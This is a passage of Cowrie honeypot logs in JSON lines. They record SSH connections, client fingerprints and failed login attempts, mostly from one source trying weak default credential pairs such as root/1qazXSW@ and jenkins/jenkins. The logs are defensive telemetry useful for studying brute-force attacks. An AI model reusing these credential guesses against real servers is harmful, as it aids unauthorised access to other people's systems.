-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:18.915951Z","src_ip":"91.92.42.133","session":"28312839b546","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:19.898965Z","src_ip":"91.92.42.133","session":"28312839b546","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:21.016778Z","src_ip":"91.92.42.133","session":"28312839b546","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":36962,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef0510d66b3e","protocol":"ssh","message":"New connection: 91.92.42.133:36962 (159.203.135.109:22) [session: ef0510d66b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:25.629683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:25.943672Z","src_ip":"91.92.42.133","session":"ef0510d66b3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:25.947809Z","src_ip":"91.92.42.133","session":"ef0510d66b3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:27.084096Z","src_ip":"91.92.42.133","session":"ef0510d66b3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:28.194906Z","src_ip":"91.92.42.133","session":"ef0510d66b3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37016,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a26fe9ed77e","protocol":"ssh","message":"New connection: 91.92.42.133:37016 (159.203.135.109:22) [session: 9a26fe9ed77e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:33.614638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:33.642826Z","src_ip":"91.92.42.133","session":"9a26fe9ed77e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:33.835489Z","src_ip":"91.92.42.133","session":"9a26fe9ed77e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:34.658574Z","src_ip":"91.92.42.133","session":"9a26fe9ed77e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:35.770990Z","src_ip":"91.92.42.133","session":"9a26fe9ed77e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56084,"dst_ip":"159.203.135.109","dst_port":22,"session":"60431734f822","protocol":"ssh","message":"New connection: 91.92.42.133:56084 (159.203.135.109:22) [session: 60431734f822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:40.273707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:40.587466Z","src_ip":"91.92.42.133","session":"60431734f822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:40.590711Z","src_ip":"91.92.42.133","session":"60431734f822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:41.491995Z","src_ip":"91.92.42.133","session":"60431734f822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:42.784410Z","src_ip":"91.92.42.133","session":"60431734f822","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":41068,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a7dfeb0b0cd","protocol":"ssh","message":"New connection: 91.92.42.133:41068 (159.203.135.109:22) [session: 7a7dfeb0b0cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:46.758863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:47.401599Z","src_ip":"91.92.42.133","session":"7a7dfeb0b0cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:47.405768Z","src_ip":"91.92.42.133","session":"7a7dfeb0b0cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:49.000612Z","src_ip":"91.92.42.133","session":"7a7dfeb0b0cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:50.449136Z","src_ip":"91.92.42.133","session":"7a7dfeb0b0cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":45198,"dst_ip":"159.203.135.109","dst_port":22,"session":"05d4f5deca73","protocol":"ssh","message":"New connection: 91.92.42.133:45198 (159.203.135.109:22) [session: 05d4f5deca73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:54.657228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:54.815004Z","src_ip":"91.92.42.133","session":"05d4f5deca73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:54.819711Z","src_ip":"91.92.42.133","session":"05d4f5deca73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"ai","message":"login attempt [ai/ai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:56.855158Z","src_ip":"91.92.42.133","session":"05d4f5deca73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:58.330569Z","src_ip":"91.92.42.133","session":"05d4f5deca73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":59100,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2084d756303","protocol":"ssh","message":"New connection: 117.121.214.50:59100 (10.17.0.5:22) [session: f2084d756303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:00.739751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:00.743797Z","src_ip":"117.121.214.50","session":"f2084d756303","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:00.986912Z","src_ip":"117.121.214.50","session":"f2084d756303","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"12345","message":"login attempt [tom/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:01.993994Z","src_ip":"117.121.214.50","session":"f2084d756303","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":45274,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1aa67ba610d","protocol":"ssh","message":"New connection: 91.92.42.133:45274 (159.203.135.109:22) [session: a1aa67ba610d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:02.570750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:02.594121Z","src_ip":"91.92.42.133","session":"a1aa67ba610d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:02.686795Z","src_ip":"91.92.42.133","session":"a1aa67ba610d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:03.009145Z","src_ip":"91.92.42.133","session":"a1aa67ba610d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:03.254139Z","src_ip":"117.121.214.50","session":"f2084d756303","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:04.187820Z","src_ip":"91.92.42.133","session":"a1aa67ba610d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.18327474594116,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:07.435452Z","src_ip":"94.23.66.112","session":"f1dc354a9966","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52696,"dst_ip":"159.203.135.109","dst_port":22,"session":"aea6ff1ca1e6","protocol":"ssh","message":"New connection: 91.92.42.133:52696 (159.203.135.109:22) [session: aea6ff1ca1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:09.865572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:09.931662Z","src_ip":"91.92.42.133","session":"aea6ff1ca1e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:10.026123Z","src_ip":"91.92.42.133","session":"aea6ff1ca1e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:10.443326Z","src_ip":"91.92.42.133","session":"aea6ff1ca1e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:11.539574Z","src_ip":"91.92.42.133","session":"aea6ff1ca1e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":53242,"dst_ip":"159.203.135.109","dst_port":22,"session":"f72cd552b401","protocol":"ssh","message":"New connection: 91.92.42.133:53242 (159.203.135.109:22) [session: f72cd552b401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:17.528461Z"}
